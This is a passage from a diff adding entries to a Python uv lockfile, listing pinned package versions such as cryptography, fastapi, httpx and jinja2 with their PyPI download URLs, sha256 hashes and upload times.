"sha256:890bcb4abd5a2d3f852196437129eb3667d62630333aacc13dfd470fad3aaa82", size = 4405497, upload-time = "2026-02-10T19:17:26.66Z" }, + { url = "https://files.pythonhosted.org/packages/1a/df/9d58bb32b1121a8a2f27383fabae4d63080c7ca60b9b5c88be742be04ee7/cryptography-46.0.5-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:80a8d7bfdf38f87ca30a5391c0c9ce4ed2926918e017c29ddf643d0ed2778ea1", size = 4667819, upload-time = "2026-02-10T19:17:28.569Z" }, + { url = "https://files.pythonhosted.org/packages/ea/ed/325d2a490c5e94038cdb0117da9397ece1f11201f425c4e9c57fe5b9f08b/cryptography-46.0.5-cp311-abi3-win32.whl", hash = "sha256:60ee7e19e95104d4c03871d7d7dfb3d22ef8a9b9c6778c94e1c8fcc8365afd48", size = 3028230, upload-time = "2026-02-10T19:17:30.518Z" }, + { url = "https://files.pythonhosted.org/packages/e9/5a/ac0f49e48063ab4255d9e3b79f5def51697fce1a95ea1370f03dc9db76f6/cryptography-46.0.5-cp311-abi3-win_amd64.whl", hash = "sha256:38946c54b16c885c72c4f59846be9743d699eee2b69b6988e0a00a01f46a61a4", size = 3480909, upload-time = "2026-02-10T19:17:32.083Z" }, + { url = "https://files.pythonhosted.org/packages/00/13/3d278bfa7a15a96b9dc22db5a12ad1e48a9eb3d40e1827ef66a5df75d0d0/cryptography-46.0.5-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:94a76daa32eb78d61339aff7952ea819b1734b46f73646a07decb40e5b3448e2", size = 7119287, upload-time = "2026-02-10T19:17:33.801Z" }, + { url = "https://files.pythonhosted.org/packages/67/c8/581a6702e14f0898a0848105cbefd20c058099e2c2d22ef4e476dfec75d7/cryptography-46.0.5-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5be7bf2fb40769e05739dd0046e7b26f9d4670badc7b032d6ce4db64dddc0678", size = 4265728, upload-time = "2026-02-10T19:17:35.569Z" }, + { url = "https://files.pythonhosted.org/packages/dd/4a/ba1a65ce8fc65435e5a849558379896c957870dd64fecea97b1ad5f46a37/cryptography-46.0.5-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fe346b143ff9685e40192a4960938545c699054ba11d4f9029f94751e3f71d87", size = 4408287, upload-time = "2026-02-10T19:17:36.938Z" }, + { url = "https://files.pythonhosted.org/packages/f8/67/8ffdbf7b65ed1ac224d1c2df3943553766914a8ca718747ee3871da6107e/cryptography-46.0.5-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:c69fd885df7d089548a42d5ec05be26050ebcd2283d89b3d30676eb32ff87dee", size = 4270291, upload-time = "2026-02-10T19:17:38.748Z" }, + { url = "https://files.pythonhosted.org/packages/f8/e5/f52377ee93bc2f2bba55a41a886fd208c15276ffbd2569f2ddc89d50e2c5/cryptography-46.0.5-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:8293f3dea7fc929ef7240796ba231413afa7b68ce38fd21da2995549f5961981", size = 4927539, upload-time = "2026-02-10T19:17:40.241Z" }, + { url = "https://files.pythonhosted.org/packages/3b/02/cfe39181b02419bbbbcf3abdd16c1c5c8541f03ca8bda240debc467d5a12/cryptography-46.0.5-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:1abfdb89b41c3be0365328a410baa9df3ff8a9110fb75e7b52e66803ddabc9a9", size = 4442199, upload-time = "2026-02-10T19:17:41.789Z" }, + { url = "https://files.pythonhosted.org/packages/c0/96/2fcaeb4873e536cf71421a388a6c11b5bc846e986b2b069c79363dc1648e/cryptography-46.0.5-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:d66e421495fdb797610a08f43b05269e0a5ea7f5e652a89bfd5a7d3c1dee3648", size = 3960131, upload-time = "2026-02-10T19:17:43.379Z" }, + { url = "https://files.pythonhosted.org/packages/d8/d2/b27631f401ddd644e94c5cf33c9a4069f72011821cf3dc7309546b0642a0/cryptography-46.0.5-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:4e817a8920bfbcff8940ecfd60f23d01836408242b30f1a708d93198393a80b4", size = 4270072, upload-time = "2026-02-10T19:17:45.481Z" }, + { url = "https://files.pythonhosted.org/packages/f4/a7/60d32b0370dae0b4ebe55ffa10e8599a2a59935b5ece1b9f06edb73abdeb/cryptography-46.0.5-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:68f68d13f2e1cb95163fa3b4db4bf9a159a418f5f6e7242564fc75fcae667fd0", size = 4892170, upload-time = "2026-02-10T19:17:46.997Z" }, + { url = "https://files.pythonhosted.org/packages/d2/b9/cf73ddf8ef1164330eb0b199a589103c363afa0cf794218c24d524a58eab/cryptography-46.0.5-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:a3d1fae9863299076f05cb8a778c467578262fae09f9dc0ee9b12eb4268ce663", size = 4441741, upload-time = "2026-02-10T19:17:48.661Z" }, + { url = "https://files.pythonhosted.org/packages/5f/eb/eee00b28c84c726fe8fa0158c65afe312d9c3b78d9d01daf700f1f6e37ff/cryptography-46.0.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c4143987a42a2397f2fc3b4d7e3a7d313fbe684f67ff443999e803dd75a76826", size = 4396728, upload-time = "2026-02-10T19:17:50.058Z" }, + { url = "https://files.pythonhosted.org/packages/65/f4/6bc1a9ed5aef7145045114b75b77c2a8261b4d38717bd8dea111a63c3442/cryptography-46.0.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7d731d4b107030987fd61a7f8ab512b25b53cef8f233a97379ede116f30eb67d", size = 4652001, upload-time = "2026-02-10T19:17:51.54Z" }, + { url = "https://files.pythonhosted.org/packages/86/ef/5d00ef966ddd71ac2e6951d278884a84a40ffbd88948ef0e294b214ae9e4/cryptography-46.0.5-cp314-cp314t-win32.whl", hash = "sha256:c3bcce8521d785d510b2aad26ae2c966092b7daa8f45dd8f44734a104dc0bc1a", size = 3003637, upload-time = "2026-02-10T19:17:52.997Z" }, + { url = "https://files.pythonhosted.org/packages/b7/57/f3f4160123da6d098db78350fdfd9705057aad21de7388eacb2401dceab9/cryptography-46.0.5-cp314-cp314t-win_amd64.whl", hash = "sha256:4d8ae8659ab18c65ced284993c2265910f6c9e650189d4e3f68445ef82a810e4", size = 3469487, upload-time = "2026-02-10T19:17:54.549Z" }, + { url = "https://files.pythonhosted.org/packages/e2/fa/a66aa722105ad6a458bebd64086ca2b72cdd361fed31763d20390f6f1389/cryptography-46.0.5-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:4108d4c09fbbf2789d0c926eb4152ae1760d5a2d97612b92d508d96c861e4d31", size = 7170514, upload-time = "2026-02-10T19:17:56.267Z" }, + { url = "https://files.pythonhosted.org/packages/0f/04/c85bdeab78c8bc77b701bf0d9bdcf514c044e18a46dcff330df5448631b0/cryptography-46.0.5-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7d1f30a86d2757199cb2d56e48cce14deddf1f9c95f1ef1b64ee91ea43fe2e18", size = 4275349, upload-time = "2026-02-10T19:17:58.419Z" }, + { url = "https://files.pythonhosted.org/packages/5c/32/9b87132a2f91ee7f5223b091dc963055503e9b442c98fc0b8a5ca765fab0/cryptography-46.0.5-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:039917b0dc418bb9f6edce8a906572d69e74bd330b0b3fea4f79dab7f8ddd235", size = 4420667, upload-time = "2026-02-10T19:18:00.619Z" }, + { url = "https://files.pythonhosted.org/packages/a1/a6/a7cb7010bec4b7c5692ca6f024150371b295ee1c108bdc1c400e4c44562b/cryptography-46.0.5-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:ba2a27ff02f48193fc4daeadf8ad2590516fa3d0adeeb34336b96f7fa64c1e3a", size = 4276980, upload-time = "2026-02-10T19:18:02.379Z" }, + { url = "https://files.pythonhosted.org/packages/8e/7c/c4f45e0eeff9b91e3f12dbd0e165fcf2a38847288fcfd889deea99fb7b6d/cryptography-46.0.5-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:61aa400dce22cb001a98014f647dc21cda08f7915ceb95df0c9eaf84b4b6af76", size = 4939143, upload-time = "2026-02-10T19:18:03.964Z" }, + { url = "https://files.pythonhosted.org/packages/37/19/e1b8f964a834eddb44fa1b9a9976f4e414cbb7aa62809b6760c8803d22d1/cryptography-46.0.5-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3ce58ba46e1bc2aac4f7d9290223cead56743fa6ab94a5d53292ffaac6a91614", size = 4453674, upload-time = "2026-02-10T19:18:05.588Z" }, + { url = "https://files.pythonhosted.org/packages/db/ed/db15d3956f65264ca204625597c410d420e26530c4e2943e05a0d2f24d51/cryptography-46.0.5-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:420d0e909050490d04359e7fdb5ed7e667ca5c3c402b809ae2563d7e66a92229", size = 3978801, upload-time = "2026-02-10T19:18:07.167Z" }, + { url = "https://files.pythonhosted.org/packages/41/e2/df40a31d82df0a70a0daf69791f91dbb70e47644c58581d654879b382d11/cryptography-46.0.5-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:582f5fcd2afa31622f317f80426a027f30dc792e9c80ffee87b993200ea115f1", size = 4276755, upload-time = "2026-02-10T19:18:09.813Z" }, + { url = "https://files.pythonhosted.org/packages/33/45/726809d1176959f4a896b86907b98ff4391a8aa29c0aaaf9450a8a10630e/cryptography-46.0.5-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:bfd56bb4b37ed4f330b82402f6f435845a5f5648edf1ad497da51a8452d5d62d", size = 4901539, upload-time = "2026-02-10T19:18:11.263Z" }, + { url = "https://files.pythonhosted.org/packages/99/0f/a3076874e9c88ecb2ecc31382f6e7c21b428ede6f55aafa1aa272613e3cd/cryptography-46.0.5-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:a3d507bb6a513ca96ba84443226af944b0f7f47dcc9a399d110cd6146481d24c", size = 4452794, upload-time = "2026-02-10T19:18:12.914Z" }, + { url = "https://files.pythonhosted.org/packages/02/ef/ffeb542d3683d24194a38f66ca17c0a4b8bf10631feef44a7ef64e631b1a/cryptography-46.0.5-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9f16fbdf4da055efb21c22d81b89f155f02ba420558db21288b3d0035bafd5f4", size = 4404160, upload-time = "2026-02-10T19:18:14.375Z" }, + { url = "https://files.pythonhosted.org/packages/96/93/682d2b43c1d5f1406ed048f377c0fc9fc8f7b0447a478d5c65ab3d3a66eb/cryptography-46.0.5-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:ced80795227d70549a411a4ab66e8ce307899fad2220ce5ab2f296e687eacde9", size = 4667123, upload-time = "2026-02-10T19:18:15.886Z" }, + { url = "https://files.pythonhosted.org/packages/45/2d/9c5f2926cb5300a8eefc3f4f0b3f3df39db7f7ce40c8365444c49363cbda/cryptography-46.0.5-cp38-abi3-win32.whl", hash = "sha256:02f547fce831f5096c9a567fd41bc12ca8f11df260959ecc7c3202555cc47a72", size = 3010220, upload-time = "2026-02-10T19:18:17.361Z" }, + { url = "https://files.pythonhosted.org/packages/48/ef/0c2f4a8e31018a986949d34a01115dd057bf536905dca38897bacd21fac3/cryptography-46.0.5-cp38-abi3-win_amd64.whl", hash = "sha256:556e106ee01aa13484ce9b0239bca667be5004efb0aabbed28d353df86445595", size = 3467050, upload-time = "2026-02-10T19:18:18.899Z" }, + { url = "https://files.pythonhosted.org/packages/eb/dd/2d9fdb07cebdf3d51179730afb7d5e576153c6744c3ff8fded23030c204e/cryptography-46.0.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:3b4995dc971c9fb83c25aa44cf45f02ba86f71ee600d81091c2f0cbae116b06c", size = 3476964, upload-time = "2026-02-10T19:18:20.687Z" }, + { url = "https://files.pythonhosted.org/packages/e9/6f/6cc6cc9955caa6eaf83660b0da2b077c7fe8ff9950a3c5e45d605038d439/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:bc84e875994c3b445871ea7181d424588171efec3e185dced958dad9e001950a", size = 4218321, upload-time = "2026-02-10T19:18:22.349Z" }, + { url = "https://files.pythonhosted.org/packages/3e/5d/c4da701939eeee699566a6c1367427ab91a8b7088cc2328c09dbee940415/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:2ae6971afd6246710480e3f15824ed3029a60fc16991db250034efd0b9fb4356", size = 4381786, upload-time = "2026-02-10T19:18:24.529Z" }, + { url = "https://files.pythonhosted.org/packages/ac/97/a538654732974a94ff96c1db621fa464f455c02d4bb7d2652f4edc21d600/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:d861ee9e76ace6cf36a6a89b959ec08e7bc2493ee39d07ffe5acb23ef46d27da", size = 4217990, upload-time = "2026-02-10T19:18:25.957Z" }, + { url = "https://files.pythonhosted.org/packages/ae/11/7e500d2dd3ba891197b9efd2da5454b74336d64a7cc419aa7327ab74e5f6/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:2b7a67c9cd56372f3249b39699f2ad479f6991e62ea15800973b956f4b73e257", size = 4381252, upload-time = "2026-02-10T19:18:27.496Z" }, + { url = "https://files.pythonhosted.org/packages/bc/58/6b3d24e6b9bc474a2dcdee65dfd1f008867015408a271562e4b690561a4d/cryptography-46.0.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:8456928655f856c6e1533ff59d5be76578a7157224dbd9ce6872f25055ab9ab7", size = 3407605, upload-time = "2026-02-10T19:18:29.233Z" }, +] + +[[package]] +name = "deepdiff" +version = "8.6.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "orderly-set" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/76/36c9aab3d5c19a94091f7c6c6e784efca50d87b124bf026c36e94719f33c/deepdiff-8.6.1.tar.gz", hash = "sha256:ec56d7a769ca80891b5200ec7bd41eec300ced91ebcc7797b41eb2b3f3ff643a", size = 634054, upload-time = "2025-09-03T19:40:41.461Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f7/e6/efe534ef0952b531b630780e19cabd416e2032697019d5295defc6ef9bd9/deepdiff-8.6.1-py3-none-any.whl", hash = "sha256:ee8708a7f7d37fb273a541fa24ad010ed484192cd0c4ffc0fa0ed5e2d4b9e78b", size = 91378, upload-time = "2025-09-03T19:40:39.679Z" }, +] + +[[package]] +name = "distlib" +version = "0.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/96/8e/709914eb2b5749865801041647dc7f4e6d00b549cfe88b65ca192995f07c/distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d", size = 614605, upload-time = "2025-07-17T16:52:00.465Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/33/6b/e0547afaf41bf2c42e52430072fa5658766e3d65bd4b03a563d1b6336f57/distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16", size = 469047, upload-time = "2025-07-17T16:51:58.613Z" }, +] + +[[package]] +name = "dnspython" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b5/4a/263763cb2ba3816dd94b08ad3a33d5fdae34ecb856678773cc40a3605829/dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1", size = 345197, upload-time = "2024-10-05T20:14:59.362Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/68/1b/e0a87d256e40e8c888847551b20a017a6b98139178505dc7ffb96f04e954/dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86", size = 313632, upload-time = "2024-10-05T20:14:57.687Z" }, +] + +[[package]] +name = "exceptiongroup" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, +] + +[[package]] +name = "fastapi" +version = "0.128.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-doc" }, + { name = "pydantic" }, + { name = "starlette" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/01/72/0df5c58c954742f31a7054e2dd1143bae0b408b7f36b59b85f928f9b456c/fastapi-0.128.8.tar.gz", hash = "sha256:3171f9f328c4a218f0a8d2ba8310ac3a55d1ee12c28c949650288aee25966007", size = 375523, upload-time = "2026-02-11T15:19:36.69Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9f/37/37b07e276f8923c69a5df266bfcb5bac4ba8b55dfe4a126720f8c48681d1/fastapi-0.128.8-py3-none-any.whl", hash = "sha256:5618f492d0fe973a778f8fec97723f598aa9deee495040a8d51aaf3cf123ecf1", size = 103630, upload-time = "2026-02-11T15:19:35.209Z" }, +] + +[[package]] +name = "filelock" +version = "3.21.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c0/6b/cc63cdbff46eba1ce2fbd058e9699f99c43f7e604da15413ca0331040bff/filelock-3.21.0.tar.gz", hash = "sha256:48c739c73c6fcacd381ed532226991150947c4a76dcd674f84d6807fd55dbaf2", size = 31341, upload-time = "2026-02-12T15:40:48.544Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/ab/05190b5a64101fcb743bc63a034c0fac86a515c27c303c69221093565f28/filelock-3.21.0-py3-none-any.whl", hash = "sha256:0f90eee4c62101243df3007db3cf8fc3ebf1bb13541d3e72c687d6e0f3f7d531", size = 21381, upload-time = "2026-02-12T15:40:46.964Z" }, +] + +[[package]] +name = "ghp-import" +version = "2.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dateutil" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d9/29/d40217cbe2f6b1359e00c6c307bb3fc876ba74068cbab3dde77f03ca0dc4/ghp-import-2.1.0.tar.gz", hash = "sha256:9c535c4c61193c2df8871222567d7fd7e5014d835f97dc7b7439069e2413d343", size = 10943, upload-time = "2022-05-02T15:47:16.11Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f7/ec/67fbef5d497f86283db54c22eec6f6140243aae73265799baaaa19cd17fb/ghp_import-2.1.0-py3-none-any.whl", hash = "sha256:8337dd7b50877f163d4c0289bc1f1c7f127550241988d568c1db512c4324a619", size = 11034, upload-time = "2022-05-02T15:47:14.552Z" }, +] + +[[package]] +name = "griffe" +version = "1.15.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0d/0c/3a471b6e31951dce2360477420d0a8d1e00dea6cf33b70f3e8c3ab6e28e1/griffe-1.15.0.tar.gz", hash = "sha256:7726e3afd6f298fbc3696e67958803e7ac843c1cfe59734b6251a40cdbfb5eea", size = 424112, upload-time = "2025-11-10T15:03:15.52Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9c/83/3b1d03d36f224edded98e9affd0467630fc09d766c0e56fb1498cbb04a9b/griffe-1.15.0-py3-none-any.whl", hash = "sha256:6f6762661949411031f5fcda9593f586e6ce8340f0ba88921a0f2ef7a81eb9a3", size = 150705, upload-time = "2025-11-10T15:03:13.549Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "identify" +version = "2.6.16" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5b/8d/e8b97e6bd3fb6fb271346f7981362f1e04d6a7463abd0de79e1fda17c067/identify-2.6.16.tar.gz", hash = "sha256:846857203b5511bbe94d5a352a48ef2359532bc8f6727b5544077a0dcfb24980", size = 99360, upload-time = "2026-01-12T18:58:58.201Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b8/58/40fbbcefeda82364720eba5cf2270f98496bdfa19ea75b4cccae79c698e6/identify-2.6.16-py2.py3-none-any.whl", hash = "sha256:391ee4d77741d994189522896270b787aed8670389bfd60f326d677d64a6dfb0", size = 99202, upload-time = "2026-01-12T18:58:56.627Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "importlib-metadata" +version = "8.7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "zipp" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/49/3b30cad09e7771a4982d9975a8cbf64f00d4a1ececb53297f1d9a7be1b10/importlib_metadata-8.7.1.tar.gz", hash = "sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb", size = 57107, upload-time = "2025-12-21T10:00:19.278Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fa/5e/f8e9a1d23b9c20a551a8a02ea3637b4642e22c2626e3a13a9a29cdea99eb/importlib_metadata-8.7.1-py3-none-any.whl", hash = "sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151", size = 27865, upload-time = "2025-12-21T10:00:18.329Z" }, +] + +[[package]] +name = "importlib-resources" +version = "6.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cf/8c/f834fbf984f691b4f7ff60f50b514cc3de5cc08abfc3295564dd89c5e2e7/importlib_resources-6.5.2.tar.gz", hash = "sha256:185f87adef5bcc288449d98fb4fba07cea78bc036455dd44c5fc4a2fe78fed2c", size = 44693, upload-time = "2025-01-03T18:51:56.698Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a4/ed/1f1afb2e9e7f38a545d628f864d562a5ae64fe6f7a10e28ffb9b185b4e89/importlib_resources-6.5.2-py3-none-any.whl", hash = "sha256:789cfdc3ed28c78b67a06acb8126751ced69a3d5f79c095a98298cd8a760ccec", size = 37461, upload-time = "2025-01-03T18:51:54.306Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "libsass" +version = "0.23.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/79/b4/ab091585eaa77299558e3289ca206846aefc123fb320b5656ab2542c20ad/libsass-0.23.0.tar.gz", hash = "sha256:6f209955ede26684e76912caf329f4ccb57e4a043fd77fe0e7348dd9574f1880", size = 316068, upload-time = "2024-01-06T18:53:05.404Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e5/13/fc1bea1de880ca935137183727c7d4dd921c4128fc08b8ddc3698ba5a8a3/libsass-0.23.0-cp38-abi3-macosx_11_0_x86_64.whl", hash = "sha256:34cae047cbbfc4ffa832a61cbb110f3c95f5471c6170c842d3fed161e40814dc", size = 1086783, upload-time = "2024-01-06T19:02:38.903Z" }, + { url = "https://files.pythonhosted.org/packages/55/2f/6af938651ff3aec0a0b00742209df1172bc297fa73531f292801693b7315/libsass-0.23.0-cp38-abi3-macosx_14_0_arm64.whl", hash = "sha256:ea97d1b45cdc2fc3590cb9d7b60f1d8915d3ce17a98c1f2d4dd47ee0d9c68ce6", size = 982759, upload-time = "2024-01-06T19:02:41.331Z" }, + { url = "https://files.pythonhosted.org/packages/fd/5a/eb5b62641df0459a3291fc206cf5bd669c0feed7814dded8edef4ade8512/libsass-0.23.0-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:4a218406d605f325d234e4678bd57126a66a88841cb95bee2caeafdc6f138306", size = 9444543, upload-time = "2024-01-06T19:02:43.191Z" }, + { url = "https://files.pythonhosted.org/packages/e5/fc/275783f5120970d859ae37d04b6a60c13bdec2aa4294b9dfa8a37b5c2513/libsass-0.23.0-cp38-abi3-win32.whl", hash = "sha256:31e86d92a5c7a551df844b72d83fc2b5e50abc6fbbb31e296f7bebd6489ed1b4", size = 775481, upload-time = "2024-01-06T19:02:46.05Z" }, + { url = "https://files.pythonhosted.org/packages/ef/20/caf3c7cf2432d85263119798c45221ddf67bdd7dae8f626d14ff8db04040/libsass-0.23.0-cp38-abi3-win_amd64.whl", hash = 